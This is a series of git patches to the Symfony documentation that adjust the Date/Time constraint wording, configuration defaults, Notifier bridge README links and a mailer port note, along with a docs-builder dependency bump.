 .. _`cyrillic small letter dze`: https://graphemica.com/%D1%95
 .. _`spoofing attack`: https://en.wikipedia.org/wiki/Spoofing_attack
 .. _`single-script`: https://unicode.org/reports/tr39/#def-single-script

From a472b6e6f721ce2ba323a70c761e31f2cd7b3cb6 Mon Sep 17 00:00:00 2001
From: adnen chouibi <adnen.chouibi@gmail.com>
Date: Sat, 14 Jan 2023 20:11:58 +0100
Subject: [PATCH 3126/5766] [Validator] Fix a valid Date and Time constraint
 format

---
 reference/constraints/Date.rst | 2 +-
 reference/constraints/Time.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 999c06f939c..5af42870dc2 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -2,7 +2,7 @@ Date
 ====
 
 Validates that a value is a valid date, meaning a string (or an object that can
-be cast into a string) that follows a valid ``YYYY-MM-DD`` format.
+be cast into a string) that follows a valid ``Y-m-d`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index b3f13894120..e22825e4b91 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -2,7 +2,7 @@ Time
 ====
 
 Validates that a value is a valid time, meaning a string (or an object that can
-be cast into a string) that follows a valid ``HH:MM:SS`` format.
+be cast into a string) that follows a valid ``H:i:s`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From a291585ee34b6ebfd9c404c0a12377d5ac4e46bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 17:56:40 +0100
Subject: [PATCH 3127/5766] Tweak

---
 reference/constraints/Date.rst | 2 +-
 reference/constraints/Time.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 5af42870dc2..98746e4cf63 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -2,7 +2,7 @@ Date
 ====
 
 Validates that a value is a valid date, meaning a string (or an object that can
-be cast into a string) that follows a valid ``Y-m-d`` format.
+be cast into a string) that follows a valid ``Y-m-d`` format (e.g. ``'2023-10-18'``).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index e22825e4b91..336bc2a5b7c 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -2,7 +2,7 @@ Time
 ====
 
 Validates that a value is a valid time, meaning a string (or an object that can
-be cast into a string) that follows a valid ``H:i:s`` format.
+be cast into a string) that follows a valid ``H:i:s`` format (e.g. ``'16:27:36'``).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From 9636026f4359807bd17c4ff05484e92647c8093f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Wed, 22 Mar 2023 19:43:49 +0100
Subject: [PATCH 3128/5766] update default value for framework.ide

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cb84ede3e09..8802395cbdd 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -266,7 +266,7 @@ reverse proxy. See :doc:`/deployment/proxies`.
 ide
 ~~~
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``%env(default::SYMFONY_IDE)%``
 
 Symfony turns file paths seen in variable dumps and exception messages into
 links that open those files right inside your browser. If you prefer to open

From 612b24415de2cc33df4224c10df4fcd602a8495f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Mar 2023 09:37:52 +0100
Subject: [PATCH 3129/5766] Add the versionadded directive

---
 components/lock.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 6714d3b3f8e..346d589804f 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -550,12 +550,18 @@ does not support blocking, and expects a TTL to avoid stalled locks::
 
     This store does not support TTL lower than 1 second.
 
-The table where values are stored will be automatically generated when your run the command :
+The table where values are stored will be automatically generated when your run
+the command:
 
 .. code-block:: terminal
 
     $ php bin/console make:migration
 
+.. versionadded:: 6.3
+
+    The automatic table generation when running the ``make:migration`` command
+    was introduced in Symfony 6.3.
+
 If you prefer to create the table yourself and it has not already been created, you can
 create this table explicitly by calling the
 :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.

From a58ad94d107b9797e0f7572d3ec3f92d79811e33 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 13 Feb 2023 21:28:27 +0100
Subject: [PATCH 3130/5766] [Notifier] Add link to readme bridges

---
 _build/composer.json |   2 +-
 _build/composer.lock |  15 ++---
 notifier.rst         | 140 +++++++++++++++++++++++++++----------------
 3 files changed, 98 insertions(+), 59 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index 1f070475062..2a3b8475f25 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -17,6 +17,6 @@
         "php": ">=8.1",
         "symfony/console": "^6.2",
         "symfony/process": "^6.2",
-        "symfony-tools/docs-builder": "^0.18"
+        "symfony-tools/docs-builder": "^0.20"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index fa23243ea98..0ec00db5a84 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "1243668a34d12e1bfc2a367bb87dd2c9",
+    "content-hash": "1c3437f0f5d5b44eb1a339dd720bbc38",
     "packages": [
         {
             "name": "doctrine/deprecations",
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.18.10",
+            "version": "v0.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "8420c687cff102ee30288380ab682ecf539dbf3b"
+                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/8420c687cff102ee30288380ab682ecf539dbf3b",
-                "reference": "8420c687cff102ee30288380ab682ecf539dbf3b",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
+                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
                 "shasum": ""
             },
             "require": {
@@ -494,6 +494,7 @@
             },
             "require-dev": {
                 "gajus/dindent": "^2.0",
+                "masterminds/html5": "^2.7",
                 "symfony/phpunit-bridge": "^5.2 || ^6.0",
                 "symfony/process": "^5.2 || ^6.0"
             },
@@ -513,9 +514,9 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.10"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.0"
             },
-            "time": "2022-12-30T15:11:58+00:00"
+            "time": "2023-03-23T08:48:27+00:00"
         },
         {
             "name": "symfony/console",
diff --git a/notifier.rst b/notifier.rst
index b744c346d1e..d455c47c056 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -62,39 +62,39 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==============  ====================================  ===========================================================================
-Service         Package                               DSN
-==============  ====================================  ===========================================================================
-AllMySms        ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
-AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
-Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
-GatewayApi      ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
-Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
-Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
-MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
-MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
-Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo           ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
-Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
-Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
-Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
-SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
-Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
-Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
-TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
-Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
-Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
-Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
-==============  ====================================  ===========================================================================
+===============  ====================================  ===========================================================================
+Service          Package                               DSN
+===============  ====================================  ===========================================================================
+`AllMySms`_      ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
+`AmazonSns`_     ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+`Clickatell`_    ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+`Esendex`_       ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+`FakeSms`_       ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
+`FreeMobile`_    ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
+`GatewayApi`_    ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
+`Infobip`_       ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
+`Iqsms`_         ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+`LightSms`_      ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+`Mailjet`_       ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
+`MessageBird`_   ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
+`MessageMedia`_  ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
+`Mobyt`_         ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+`Nexmo`_         ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
+`Octopush`_      ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+`OvhCloud`_      ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+`Sendinblue`_    ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+`Sms77`_         ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
+`Sinch`_         ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+`Smsapi`_        ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+`SmsBiuras`_     ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+`Smsc`_          ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
+`SpotHit`_       ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
+`Telnyx`_        ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+`TurboSms`_      ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
+`Twilio`_        ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+`Vonage`_        ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
+`Yunpian`_       ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
+==============   ====================================  ===========================================================================
 
 .. versionadded:: 5.1
 
@@ -224,24 +224,24 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-======================================  ====================================  =============================================================================
-Service                                 Package                               DSN
-======================================  ====================================  =============================================================================
-AmazonSns                               ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-:doc:`Discord <notifier/discord>`       ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-FakeChat                                ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
-Firebase                                ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
-Gitter                                  ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
-GoogleChat                              ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
-LinkedIn                                ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
-Mattermost                              ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-Mercure                                 ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
-:doc:`MicrosoftTeams <notifier/teams>`  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
-RocketChat                              ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-:doc:`Slack <notifier/slack>`           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
-:doc:`Telegram <notifier/telegram>`     ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip                                   ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-======================================  ====================================  =============================================================================
+=======================================  ====================================  =============================================================================
+Service                                  Package                               DSN
+=======================================  ====================================  =============================================================================
+`AmazonSns`_                             ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+:doc:`Discord <notifier/discord>`        ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
+`FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
+`Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
+`Gitter`_                                ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
+`GoogleChat`_                            ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+`LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
+`Mattermost`_                            ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+`Mercure`_                               ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
+:doc:`MicrosoftTeams <notifier/teams>`   ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+`RocketChat`_                            ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+:doc:`Slack <notifier/slack>`            ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+:doc:`Telegram <notifier/telegram>`      ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+`Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+======================================   ====================================  =============================================================================
 
 .. versionadded:: 5.1
 
@@ -911,4 +911,42 @@ is dispatched. Listeners receive a
 ..    - Describe notifier monolog handler
 ..    - Describe notification_on_failed_messages integration
 
+.. _`AllMySms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AllMySms/README.md
+.. _`AmazonSns`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AmazonSns/README.md
+.. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
+.. _`Esendex`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Esendex/README.md
+.. _`FakeChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeChat/README.md
+.. _`FakeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeSms/README.md
+.. _`Firebase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Firebase/README.md
+.. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md
+.. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md
+.. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md
+.. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md
+.. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md
+.. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md
+.. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
+.. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md
+.. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md
+.. _`Mattermost`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mattermost/README.md
+.. _`Mercure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mercure/README.md
+.. _`MessageBird`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageBird/README.md
+.. _`MessageMedia`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageMedia/README.md
+.. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
+.. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
+.. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
+.. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+.. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
+.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
+.. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
+.. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
+.. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
+.. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
+.. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
+.. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
+.. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md
+.. _`TurboSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/TurboSms/README.md
+.. _`Twilio`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twilio/README.md
+.. _`Vonage`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Vonage/README.md
+.. _`Yunpian`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Yunpian/README.md
+.. _`Zulip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Zulip/README.md

From b39027f3470ee790b39ab42b6d0828e213d15bf1 Mon Sep 17 00:00:00 2001
From: Sander De la Marche <sander@sumocoders.be>
Date: Sat, 25 Mar 2023 09:40:33 +0100
Subject: [PATCH 3131/5766] Add note about custom port configuration being
 ignored by specific mailer transport DSN

See https://github.com/symfony/symfony/pull/49768
---
 mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 68bcaf297bc..eb1a72ec9c1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -236,6 +236,17 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
 
     Note that the protocol is *always* HTTPs and cannot be changed.
 
+.. note::
+
+    The specific transports, e.g. ``mailgun+smtp`` are designed to work without any manual configuration.
+    Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp` transports.
+    If you need to change the port, use the ``smtp`` transport instead, like so:
+
+    .. code-block:: env
+
+        # .env
+        MAILER_DSN=smtp://KEY:DOMAIN@smtp.eu.mailgun.org.com:25
+
 High Availability
 ~~~~~~~~~~~~~~~~~
 

From 1903a64e0e421d94882d88bfc4b3a484701eb7b7 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 25 Mar 2023 09:48:48 +0100
Subject: [PATCH 3132/5766] Move Notifier bridges doc to the code repo README
 files

---
 notifier.rst          |  12 ++-
 notifier/discord.rst  |  62 -------------
 notifier/slack.rst    | 210 ------------------------------------------
 notifier/teams.rst    | 103 ---------------------
 notifier/telegram.rst |  43 ---------
 5 files changed, 8 insertions(+), 422 deletions(-)
 delete mode 100644 notifier/discord.rst
 delete mode 100644 notifier/slack.rst
 delete mode 100644 notifier/teams.rst
 delete mode 100644 notifier/telegram.rst

diff --git a/notifier.rst b/notifier.rst
index d455c47c056..f1746ffb7b0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -228,7 +228,7 @@ integration with these chat services:
 Service                                  Package                               DSN
 =======================================  ====================================  =============================================================================
 `AmazonSns`_                             ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-:doc:`Discord <notifier/discord>`        ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
+`Discord`_                               ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 `FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
 `Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
 `Gitter`_                                ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
@@ -236,10 +236,10 @@ Service                                  Package                               D
 `LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
 `Mattermost`_                            ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 `Mercure`_                               ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
-:doc:`MicrosoftTeams <notifier/teams>`   ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+`MicrosoftTeams`_                        ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
 `RocketChat`_                            ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-:doc:`Slack <notifier/slack>`            ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
-:doc:`Telegram <notifier/telegram>`      ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+`Slack`_                                 ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+`Telegram`_                              ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
@@ -914,6 +914,7 @@ is dispatched. Listeners receive a
 .. _`AllMySms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AllMySms/README.md
 .. _`AmazonSns`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AmazonSns/README.md
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
+.. _`Discord`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Discord/README.md
 .. _`Esendex`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Esendex/README.md
 .. _`FakeChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeChat/README.md
 .. _`FakeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeSms/README.md
@@ -931,6 +932,7 @@ is dispatched. Listeners receive a
 .. _`Mercure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mercure/README.md
 .. _`MessageBird`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageBird/README.md
 .. _`MessageMedia`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageMedia/README.md
+.. _`MicrosoftTeams`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MicrosoftTeams/README.md
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
@@ -939,11 +941,13 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
+.. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
